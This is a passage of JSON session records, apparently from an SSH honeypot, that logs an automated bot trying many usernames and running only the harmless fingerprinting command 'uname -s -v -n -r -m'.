  "id": "0b54ca70-11fa-4dca-ac20-66582ac29304",
  "name": "vigilant-tender-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:00:01.672707+00:00",
  "ended_at": "2026-08-27T03:00:06.876888+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3d64063a-37f4-4b89-9dc0-aaf8b720b185",
  "name": "downy-autumn-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59362,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:59:57.480834+00:00",
  "ended_at": "2026-08-27T03:00:02.160958+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "54be3456-af50-49e6-be6f-546e4c70c759",
  "name": "velvet-restless-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59320,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:59:54.451925+00:00",
  "ended_at": "2026-08-27T02:59:59.768673+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e0c1b6fa-ea0d-48b4-8cd6-e684e7002525",
  "name": "dutiful-regal-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57822,
  "username": "es",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:59:42.751826+00:00",
  "ended_at": "2026-08-27T02:59:46.704953+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "04d45010-34bc-4cbe-a424-74c2d6ef4a7b",
  "name": "umber-proud-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33024,
  "username": "airflow",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:59:35.563897+00:00",
  "ended_at": "2026-08-27T02:59:38.442344+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e6ac2dc3-7411-43ed-8f65-5aee59c83da3",
  "name": "dusty-ivory-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33012,
  "username": "amine",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:59:34.943878+00:00",
  "ended_at": "2026-08-27T02:59:37.286930+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1f47a0c-4d11-4a07-a843-b94b4fa367c6",
  "name": "rapid-inland-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36256,
  "username": "master",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:59:33.359077+00:00",
  "ended_at": "2026-08-27T02:59:38.734047+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5c15fbf4-ea53-4da6-8f23-a671bcd57663",
  "name": "gallant-dusty-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37178,
  "username": "airflow",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:59:31.742332+00:00",
  "ended_at": "2026-08-27T02:59:38.440022+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "65990a19-a3ad-44ea-b93a-354be0242376",
  "name": "languid-dewy-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 40918,
  "username": "system",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:59:31.482451+00:00",
  "ended_at": "2026-08-27T02:59:33.756553+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5690b06f-1809-4364-a0f3-81fdb9d3b316",
  "name": "dusky-earnest-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45832,
  "username": "amine",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:59:28.316855+00:00",
  "ended_at": "2026-08-27T02:59:37.288169+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "b5414917-14fc-46ed-9285-5fbf3ff9345f",
  "name": "solemn-wooded-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37124,
  "username": "system",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:59:26.289322+00:00",
  "ended_at": "2026-08-27T02:59:33.757869+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "f448776d-5d3b-4d36-b33d-544f4b20a898",
  "name": "wandering-breezy-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:59:24.707346+00:00",
  "ended_at": "2026-08-27T02:59:29.533431+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5521ca84-95e0-441e-8924-fad9fd4701df",
  "name": "reedy-gnarled-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:59:09.192796+00:00",
  "ended_at": "2026-08-27T02:59:14.549115+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3934e2b3-2cad-42ee-915c-7191a236f6ca",
  "name": "glacial-stoic-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57370,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:56.123131+00:00",
  "ended_at": "2026-08-27T02:59:00.765924+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7bc7ba66-15d1-423b-93da-5c94594aed45",
  "name": "prickly-thrifty-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:55.272940+00:00",
  "ended_at": "2026-08-27T02:59:01.128527+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ba9a5ef9-e542-4a4b-a07b-6f5b342c5322",
  "name": "nameless-mighty-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53150,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:39.849033+00:00",
  "ended_at": "2026-08-27T02:58:44.996229+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "aa5772ba-4495-4f74-8285-1931da8666b8",
  "name": "windswept-obsidian-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57354,
  "username": "sftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 341,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:39.240930+00:00",
  "ended_at": "2026-08-27T02:58:42.440546+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3c8bf8a6-ead3-48e7-a2de-e5f19e1553fc",
  "name": "snowy-nautical-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 275,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:36.001915+00:00",
  "ended_at": "2026-08-27T02:58:39.456006+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ba39f45c-6e42-4192-90e7-ac09a5de5c84",
  "name": "stoic-quartz-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:27.627093+00:00",
  "ended_at": "2026-08-27T02:58:32.448553+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cc225a81-7c08-4ffc-8898-08cfd7239376",
  "name": "umber-noble-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51102,
  "username": "esuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:24.839334+00:00",
  "ended_at": "2026-08-27T02:58:30.558048+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7cffe3e9-4105-4144-b2c5-1fe6be942d58",
  "name": "cosmic-crimson-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58012,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 480,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:11.405356+00:00",
  "ended_at": "2026-08-27T02:58:16.532465+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9d5aaa33-ddf9-4d9d-8d1d-40d7d7213724",
  "name": "wandering-clever-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49340,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:08.349630+00:00",
  "ended_at": "2026-08-27T02:58:13.447511+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "50c5021e-c143-4ab2-817a-0ec95203f84f",
  "name": "inland-frank-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49288,
  "username": "master",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 431,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:58:02.876036+00:00",
  "ended_at": "2026-08-27T02:58:08.804376+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c7b21c5b-e277-4471-808c-65033e6bccb5",
  "name": "western-emerald-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44912,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:49.413502+00:00",
  "ended_at": "2026-08-27T02:57:53.328700+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e449c8cb-5ed3-4d12-833a-5cfde24481fb",
  "name": "lucid-deft-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34676,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:40.816866+00:00",
  "ended_at": "2026-08-27T02:57:45.554063+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b4cafd81-34e9-4869-aa20-f9751e63320a",
  "name": "muted-vivid-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34626,
  "username": "bob",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:40.605494+00:00",
  "ended_at": "2026-08-27T02:57:44.594629+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "26f4e8d1-c6fe-4a7d-921f-4b8984432cbb",
  "name": "merry-jovial-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 54958,
  "username": "webuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:57:36.125507+00:00",
  "ended_at": "2026-08-27T02:57:39.244543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8962c436-dc99-4b0c-9e07-0d9420165f11",
  "name": "curious-craggy-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54108,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:32.516508+00:00",
  "ended_at": "2026-08-27T02:57:37.984114+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f58ca360-8133-4fcd-bdcd-42e1c92812fe",
  "name": "balmy-leafy-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59044,
  "username": "webuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 419,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:30.747795+00:00",
  "ended_at": "2026-08-27T02:57:39.245944+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "01d74881-d0a0-47cf-84f5-cf5ff6ab804c",
  "name": "mottled-keen-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54062,
  "username": "sedu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 381,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:30.684298+00:00",
  "ended_at": "2026-08-27T02:57:36.233208+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "492a4f68-4a55-4a9d-a7c1-e7734d69c487",
  "name": "hushed-dappled-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48606,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 353,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:14.672947+00:00",
  "ended_at": "2026-08-27T02:57:17.791917+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "53a9456f-20a7-4c49-a66e-8f3d5935090c",
  "name": "solemn-hazel-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 49318,
  "username": "tactical",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:57:12.982806+00:00",
  "ended_at": "2026-08-27T02:57:15.834888+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e03c0e2-d2a6-4cf1-a9a8-121deb3d1a6b",
  "name": "russet-prairie-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38178,
  "username": "tactical",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 258,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:08.295372+00:00",
  "ended_at": "2026-08-27T02:57:15.833777+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "52c3e8e5-9706-41ff-a96d-34ebe2fdf5d8",
  "name": "civil-graceful-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:07.328252+00:00",
  "ended_at": "2026-08-27T02:57:10.406042+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f03177ac-9e66-4a1e-b269-6b0c6794ed00",
  "name": "civil-barren-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:57:00.408049+00:00",
  "ended_at": "2026-08-27T02:57:05.586664+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0cbc7336-be7c-4881-b506-718601847d53",
  "name": "nameless-civil-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51825,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:56:44.019746+00:00",
  "ended_at": "2026-08-27T02:57:04.975142+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8369b979-e2bc-406f-ba13-a362fdcb2702",
  "name": "sturdy-windswept-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38080,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:56:43.001771+00:00",
  "ended_at": "2026-08-27T02:56:48.399780+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac83027c-2c3f-4ba6-b125-c6940faa2d3c",
  "name": "hazy-solemn-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33828,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 366,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:56:35.919642+00:00",
  "ended_at": "2026-08-27T02:56:39.968810+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35ba73b3-5bd1-415c-91cb-5b1989959ca3",
  "name": "seaward-flinty-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56018,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:56:30.144296+00:00",
  "ended_at": "2026-08-27T02:56:36.042187+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ffaa519e-ede7-4ef6-97ba-11a6fe1e39c0",
  "name": "calm-solemn-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55940,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:56:18.980111+00:00",
  "ended_at": "2026-08-27T02:56:21.888968+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a4fd1482-0937-443c-b61c-78820424a8c2",
  "name": "lonesome-lucid-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60806,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:56:17.197992+00:00",
  "ended_at": "2026-08-27T02:56:19.849606+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7f9fda61-1fad-465c-bbb9-a1b68004473b",
  "name": "ivory-pewter-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53948,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:56:08.262920+00:00",
  "ended_at": "2026-08-27T02:56:11.240723+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "647e22e2-1c6f-47ff-9f1b-c78b7ce17441",
  "name": "tender-genial-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45242,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:56:05.682629+00:00",
  "ended_at": "2026-08-27T02:56:10.202049+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "22b1b9ce-3ace-4265-ad86-630d07c4dba3",
  "name": "misty-eager-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 38230,
  "username": "jay",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:56:03.828695+00:00",
  "ended_at": "2026-08-27T02:56:06.431494+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fdf0ef24-d857-4e71-9674-5a3574438e81",
  "name": "valiant-languid-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56194,
  "username": "jay",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:59.181812+00:00",
  "ended_at": "2026-08-27T02:56:06.430591+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "706aba00-3a41-42c0-a41f-6cc2b9e74d88",
  "name": "fearless-reedy-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 38154,
  "username": "kubernetes",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:55:59.101794+00:00",
  "ended_at": "2026-08-27T02:56:01.296536+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "abb978e9-1e39-4668-97a0-32c187b007e3",
  "name": "gentle-nautical-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:57.508841+00:00",
  "ended_at": "2026-08-27T02:56:02.237921+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "075d850b-019e-4f73-9e75-85265c577215",
  "name": "mighty-gentle-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36566,
  "username": "kubernetes",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:54.487657+00:00",
  "ended_at": "2026-08-27T02:56:01.297904+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "b1b1a1be-ea47-4538-b25d-9430fc26cc14",
  "name": "ruddy-buoyant-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36524,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:35.219758+00:00",
  "ended_at": "2026-08-27T02:55:41.114542+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "954f1b89-902d-44a4-bdc5-2ad595139433",
  "name": "austere-proud-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:28.368225+00:00",
  "ended_at": "2026-08-27T02:55:31.580479+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
